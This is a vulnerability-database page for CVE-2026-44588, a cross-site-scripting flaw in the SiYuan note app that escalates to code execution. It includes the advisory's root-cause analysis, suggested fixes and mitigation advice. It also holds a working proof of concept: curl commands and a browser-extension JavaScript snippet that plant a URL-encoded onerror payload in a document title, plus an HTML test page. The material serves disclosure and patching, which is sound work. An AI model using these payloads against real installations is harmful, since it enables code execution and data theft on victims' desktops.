Skip to main content

Chrome EUVDEUVD-2026-30359

| CVE-2026-44588 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 https://github.com/siyuan-note/siyuan GHSA-25rp-h46x-2hjm
9.4
CVSS 4.0 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 14, 2026

Remote code execution in SiYuan's Electron renderer occurs when users hover over search results, file tree items, or attribute view elements containing URL-encoded XSS payloads in document titles or metadata. The vulnerability chains a URL-decoding step (decodeURIComponent) with unsafe innerHTML assignment in tooltip rendering, bypassing the escapeAriaLabel sanitizer that only handles HTML entities but ignores %XX URL escapes. Because SiYuan's renderer runs with nodeIntegration:true and contextIsolation:false, the XSS escalates to arbitrary code execution via require('child_process'). Exploitation requires user interaction (hovering) but no authentication, and malicious payloads survive .sy.zip export/import and sync replication, enabling supply-chain and shared-workspace attacks. No public exploit code identified at time of analysis, though detailed proof-of-concept is published in the GitHub advisory.

Earlier versions of this analysis (1)
v1 May 08, 2026 - 20:01

Remote code execution in SiYuan v3.6.5 Electron application occurs when hovering over search results containing URL-encoded payloads in document titles. The vulnerability chains a tooltip rendering flaw with insecure Electron configuration: URL-encoded HTML (%3Cimg src=x onerror=...%3E) in document titles bypasses the escapeAriaLabel sanitizer, gets decoded by decodeURIComponent in popover.ts, then written to innerHTML in tooltip.ts, executing arbitrary JavaScript. The Electron renderer's nodeIntegration: true, contextIsolation: false configuration allows require('child_process') access, escalating XSS to arbitrary code execution. This incomplete fix for CVE-2026-34585 affects multiple surfaces including document titles, attribute view columns, select options, and file-tree tooltips. Payloads survive .sy.zip export/import and sync replication. No public exploit code identified at time of analysis, but detailed proof-of-concept with copy-paste reproduction steps is documented in the advisory.

Affected VersionsENISA

SiYuan < 3.7.0
SiYuan < 3.7.0

Affected Packages

go github.com/siyuan-note/siyuan/kernel no fix
euvd siyuan fix: 3.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Know when Chrome gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Patch available
May 14, 2026 - 20:17 EUVD
Analysis Updated
May 14, 2026 - 19:29 vuln.today
v2 - CVSS changed
CVSS changed
May 14, 2026 - 19:22 NVD
9.4 (CRITICAL)
CVE Published
May 08, 2026 - 19:08 nvd
CRITICAL

DescriptionGitHub Advisory

Summary

The tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (", ', <, literal &lt;) - it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal < character (a real <, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal <, parses the <img> element, and the onerror handler fires.

Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require('child_process') is reachable from the injected handler, escalating to arbitrary code execution.

Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into class="ariaLabel" elements with aria-label="${escapeAriaLabel(...)}". Doc title is the easiest plant - any user with create/rename access lands the payload, and the file survives .sy.zip round-trip without modification.

Why a "double HTML-decode" framing is wrong

A naïve reading of the chain might suggest that &amp;lt; (the encoder output) decodes once at attribute-parse time to &lt;, then a second time at innerHTML time to < - yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a &lt; reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.

The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.

Details

Encoder. app/src/util/escape.ts:19-25:

ts
export const escapeAriaLabel = (html: string) => {
    if (!html) { return html; }
    return html.replace(/"/g, "&quot;").replace(/'/g, "&apos;")
        .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;");
};

The four replacements only cover HTML special chars. %XX URL escapes are not touched.

Source - search-result rendering. app/src/search/util.ts:1406:

ts
<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>

Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim - %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.

Consumer. app/src/block/popover.ts:33,144:

ts
let tip = aElement.getAttribute("aria-label") || "";       // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...);       // ← decodes %XX into raw chars

decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip - that's what enables this bypass.

Sink. app/src/dialog/tooltip.ts:41:

ts
messageElement.innerHTML = message;     // ← HTML parser sees the now-decoded raw `<` and starts parsing tags

Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):

stepresult
in-memory title%3Cimg src=x onerror="alert('SiYuan')"%3E
escapeAriaLabel writes (only " and ' get encoded - neither appears here as raw chars when ' is %27)%3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E
HTML attribute set: aria-label="..." ; browser one-decodes named entities when storingin-DOM value = %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E
getAttribute("aria-label")%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E (verbatim)
decodeURIComponent(tip)<img src=x onerror="alert('SiYuan')"> (real < ' > chars)
messageElement.innerHTML = …HTML parser tokenizes raw <img>, creates element, fails to load src=x, fires onerror → JS runs

Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.

Suggested fix

  1. Primary - app/src/dialog/tooltip.ts:41: replace
ts
   messageElement.innerHTML = message;

with

ts
   messageElement.textContent = message;

For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit {html: true} flag on showTooltip(...) and route the message through DOMPurify.sanitize(message) before assigning to innerHTML.

  1. Drop decodeURIComponent at popover.ts:144 for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside try/catch with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.
  2. Consolidate the four escape helpers in app/src/util/escape.ts (escapeHtml, escapeAttr, escapeAriaLabel, escapeGreat) into one Lute.EscapeHTMLStr-equivalent that escapes &, <, >, ", '. Context-specific encoders without compile-time enforcement keep producing bug-class variants.
  3. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge - caps every future renderer XSS at "DOM only," not RCE.

---

Reproduction (copy-paste-ready)

Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.

Prereqs

  1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an AccessAuthCode (default).
  2. Verify the kernel is up:
sh
   curl -s http://127.0.0.1:6806/api/system/version
# → {"code":0,"msg":"","data":"3.6.5"}
  1. Create at least one notebook (the file tree's "+" button) so lsNotebooks returns a usable id. Pin variables:
sh
   API=http://127.0.0.1:6806
   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
     -H 'Content-Type: application/json' -d '{}' \
     | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
   echo "Using notebook: $NOTEBOOK_ID"

Step A - Browser-only validation of the chain (no SiYuan needed)

This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:

html
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" - if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
      aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired - chain works'; document.getElementById('status').style.color='red';&quot;%3E"
      hidden></span>
<button onclick="
  let tip = document.getElementById('src').getAttribute('aria-label');
  console.log('after getAttribute:', JSON.stringify(tip));
  try { tip = decodeURIComponent(tip); } catch(e){}
  console.log('after decodeURIComponent:', JSON.stringify(tip));
  document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>

Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired - chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.

Step B - Plant the payload in SiYuan

sh
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
  -H 'Content-Type: application/json' \
  -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me - open the search panel, type 'trigger', and hover this result\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"

curl -s -X POST $API/api/filetree/renameDocByID \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF

Verify the in-memory title round-trips:

sh
curl -s -X POST $API/api/block/getDocInfo \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E

Step C - Trigger inside SiYuan

In the SiYuan desktop client:

  1. Open the search panel (Ctrl+P / ⌘+P).
  2. Type trigger.
  3. The result list renders the doc with aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E (URL-escapes survived; &quot; came from escapeAriaLabel and was decoded by the attribute parser to ").
  4. Hover the result row. popover.ts:33 reads the attribute, popover.ts:144 calls decodeURIComponent (decoding %3C/%27/%3E to literal </'/>), tooltip.ts:41 writes innerHTML - HTML parser creates a real <img> element, onerror fires.
  5. alert('SiYuan tooltip-XSS PoC') pops.

Step D - .sy.zip reproducer for upstream review

For maintainers who want a single-click reproducer:

sh
ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"

Maintainer reproduces by importing via right-click a notebook → Import → SiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded - the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.

Step E - Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:

js
(async () => {
  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
    method: 'POST', headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(body)
  }).then(r => r.json());
  const nb = await api('/api/notebook/lsNotebooks', {});
  const id = (await api('/api/filetree/createDocWithMd', {
    notebook: nb.data.notebooks[0].id,
    path: '/x' + Date.now(),
    markdown: 'trigger'
  })).data;
  await api('/api/filetree/renameDocByID', {
    id,
    title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
  });
})();

A page from https://attacker.com is rejected - IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

sh
DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
  -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
  | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

Impact

  • RCE on the victim's desktop, triggered by hovering a search result (or any other class="ariaLabel" element rendering attacker-controlled metadata).
  • Doc titles are the most commonly-shared field - recipients of .sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.
  • Same post-RCE consequences as Advisory 1: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json), persistence, cloud-account pivot.
  • Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips - any element with class="ariaLabel" and aria-label="${escapeAriaLabel(...)}" reaches the same popover.ts → tooltip.ts chain.
  • CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for decodeURIComponent being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal < characters that initiate tag parsing. A consumer-side fix (textContent, or DOMPurify.sanitize on the rich-text path; and removing the unconditional decodeURIComponent) is required.

Executive ViewAI

Why It Matters

SiYuan note-taking application (all versions) contains a critical remote code execution vulnerability triggered when users hover over specially crafted document titles or metadata in search results and file trees. An unauthenticated attacker can embed URL-encoded XSS payloads in shared documents or synchronized workspaces that execute arbitrary code on victim machines when viewed, creating significant risk for organizations using SiYuan for collaborative documentation, particularly in supply-chain and multi-user environments.

Recommended Action

Within 24 hours: Identify all SiYuan installations across the organization and document current versions in use; disable file sharing and workspace synchronization pending remediation. Within 7 days: Restrict SiYuan usage to offline, non-collaborative workflows until a vendor patch is released; monitor official SiYuan GitHub releases and security advisories daily for patch availability. Within 30 days: Evaluate alternative note-taking platforms with stronger security controls (nodeIntegration disabled, contextIsolation enabled); prepare migration plan if no patch is released within 30 days; implement application allowlisting to prevent unauthorized Electron-based tools.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable hover tooltips in SiYuan settings if available; avoid opening .sy.zip files from untrusted sources; restrict document sharing to internal, pre-screened collaborators only; isolate SiYuan instances on network segments with limited lateral-movement access; monitor for suspicious child_process execution from SiYuan; consider sandboxing SiYuan in containerized or virtual environments with restricted file/network access until patch is available.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Chrome

View all
CVE-2015-5122 CRITICAL POC
9.8 Jul 14

Use-after-free vulnerability in the DisplayObject class in the ActionScript 3 (AS3) implementation in Adobe Flash Player

CVE-2016-5198 HIGH POC
8.8 Jan 19

V8 in Google Chrome prior to 54.0.2840.90 for Linux, and 54.0.2840.85 for Android, and 54.0.2840.87 for Windows and Mac

CVE-2017-5070 HIGH POC
8.8 Oct 27

Type confusion in V8 in Google Chrome prior to 59.0.3071.86 for Linux, Windows, and Mac, and 59.0.3071.92 for Android, a

CVE-2016-1646 HIGH POC
8.8 Mar 29

The Array.prototype.concat implementation in builtins.cc in Google V8, as used in Google Chrome before 49.0.2623.108, do

CVE-2013-0758 CRITICAL POC
9.3 Jan 13

Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderb

CVE-2017-5030 HIGH POC
8.8 Apr 24

Incorrect handling of complex species in V8 in Google Chrome prior to 57.0.2987.98 for Linux, Windows, and Mac and 57.0.

CVE-2012-3993 CRITICAL POC
9.3 Oct 10

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 16.0, Firefox ESR 10.x before 10.0.8, Thunderbi

CVE-2017-3823 HIGH POC
8.8 Feb 01

An issue was discovered in the Cisco WebEx Extension before 1.0.7 on Google Chrome, the ActiveTouch General Plugin Conta

CVE-2014-8636 HIGH POC
7.5 Jan 14

The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with

CVE-2013-0757 CRITICAL POC
9.3 Jan 13

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 18.0, Firefox ESR 17.x before 17.0.2, Thunderbi

CVE-2014-1510 CRITICAL POC
9.8 Mar 19

The Web IDL implementation in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and Se

CVE-2015-5123 CRITICAL
9.8 Jul 14

Use-after-free vulnerability in the BitmapData class in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy